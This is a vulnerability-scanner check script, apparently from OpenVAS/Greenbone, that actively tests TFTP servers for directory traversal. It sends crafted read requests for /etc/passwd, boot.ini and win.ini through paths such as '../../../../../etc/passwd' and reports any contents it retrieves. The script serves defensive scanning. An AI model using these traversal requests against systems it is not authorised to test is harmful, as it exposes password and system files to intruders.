TFTP Directory Traversal Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2005 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.18262");
  script_version("2024-09-12T07:59:53+0000");
  script_tag(name:"last_modification", value:"2024-09-12 07:59:53 +0000 (Thu, 12 Sep 2024)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  # nb: Unlike other VTs we're using the CVEs line by line here for easier addition of new CVEs
  script_cve_id("CVE-1999-0183",
                "CVE-1999-0498",
                "CVE-2002-2353",
                "CVE-2009-0271",
                "CVE-2009-0288",
                "CVE-2009-1161");

  script_name("TFTP Directory Traversal Vulnerabilities - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 Michel Arboi");
  script_family("Remote file access");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210121155651/http://www.securityfocus.com/bid/11582");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121155651/http://www.securityfocus.com/bid/11584");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121155651/http://www.securityfocus.com/bid/6198");

  script_tag(name:"summary", value:"The TFTP (Trivial File Transfer Protocol) allows remote users to
  read files without having to log in.

  This may be a big security flaw, especially if tftpd (the TFTP server) is not well configured by
  the admin of the remote host.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted TFTP requests and checks the
  responses.");

  script_tag(name:"solution", value:"Disable the tftp daemon, or if you really need it
  run it in a chrooted environment");

  script_tag(name:"solution_type", value:"Workaround");
  script_tag(name:"qod_type", value:"remote_active");

  exit(0);
}

include("port_service_func.inc");

if( TARGET_IS_IPV6() ) exit( 0 );
nb = 0;

function tftp_grab( port, file ) {

  local_var req, rep, sport, ip, u, filter, data, i;

  req = '\x00\x01' + file + '\0netascii\0';
  sport = rand() % 64512 + 1024;

  ip = forge_ip_packet( ip_hl:5, ip_v:4,  ip_tos:0,
                        ip_len:20, ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP,
                        ip_src:this_host() );

  u = forge_udp_packet( ip:ip, uh_sport:sport, uh_dport:port, uh_ulen:8 + strlen( req ), data:req );

  filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip() + ' and udp[8:1]=0x00';

  data = NULL;
  for( i = 0; i < 2; i++ ) { # Try twice
    rep = send_packet( u, pcap_active:TRUE, pcap_filter:filter );
    if( rep ) {
      data = get_udp_element( udp:rep, element:"data" );
      if( data[0] == '\0' && data[1] == '\x03' ) {
        local_var c;
        c = substr( data, 4 );
        set_kb_item( name:"tftp/" + port + "/filename/" + nb, value:file );
        set_kb_item( name:"tftp/filename_available", value:TRUE );
        set_kb_item( name:"tftp/" + port + "/filecontent/" + nb, value:c );
        set_kb_item( name:"tftp/filcontent_available", value:TRUE );
        nb++;
        return c;
      } else {
        return NULL;
      }
    }
  }
  return NULL;
}

# function report_backdoor was moved to tftpd_backdoor.nasl
function report_and_exit( file, content, port ) {
  set_kb_item( name:"tftp/" + port + "/get_file", value:file );
  report = 'It was possible to retrieve the file ' + file + ' through tftp. Here is what we could grab : \n' + content;
  security_message( port:port, proto:"udp", data:report );
  exit( 0 );
}

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

foreach file( make_list( '/etc/passwd', '../../../../../etc/passwd' ) ) {

  f = tftp_grab( port:port, file:file );
  if( f ) {
    if( egrep( string:f, pattern:"^.*:.*:.*:.*:" ) ) {
      report_and_exit( file:file, content:f, port:port );
    }
  }
}

foreach file( make_list( '/boot.ini', '../../../boot.ini', "C:\\boot.ini", 'boot.ini' ) ) {

  f = tftp_grab( port:port, file:file );
  if( f ) {
    if( ("ECHO" >< f)          || ("SET " >< f)             ||
        ("export" >< f)        || ("EXPORT" >< f)           ||
        ("mode" >< f)          || ("MODE" >< f)             ||
        ("doskey" >< f)        || ("DOSKEY" >< f)           ||
        ("[boot loader]" >< f) || ("[fonts]" >< f)          ||
        ("[extensions]" >< f)  || ("[mci extensions]" >< f) ||
        ("[files]" >< f)       || ("[Mail]" >< f)           ||
        ("[operating systems]" >< f) ) {
      report_and_exit( file:file, content:f, port:port );
    }
  }
}

foreach file( make_list( '/winnt/win.ini', '../../../winnt/win.ini', "C:\\winnt\\win.ini", "winnt\win.ini",
                         '/windows/win.ini', '../../../windows/win.ini', "C:\\windows\\win.ini", "windows\win.ini" ) ) {
  f = tftp_grab( port:port, file:file );
  if( f ) {
    if( "; for 16-bit app support" >< f ) {
      report_and_exit( file:file, content:f, port:port );
    }
  }
}

exit( 99 );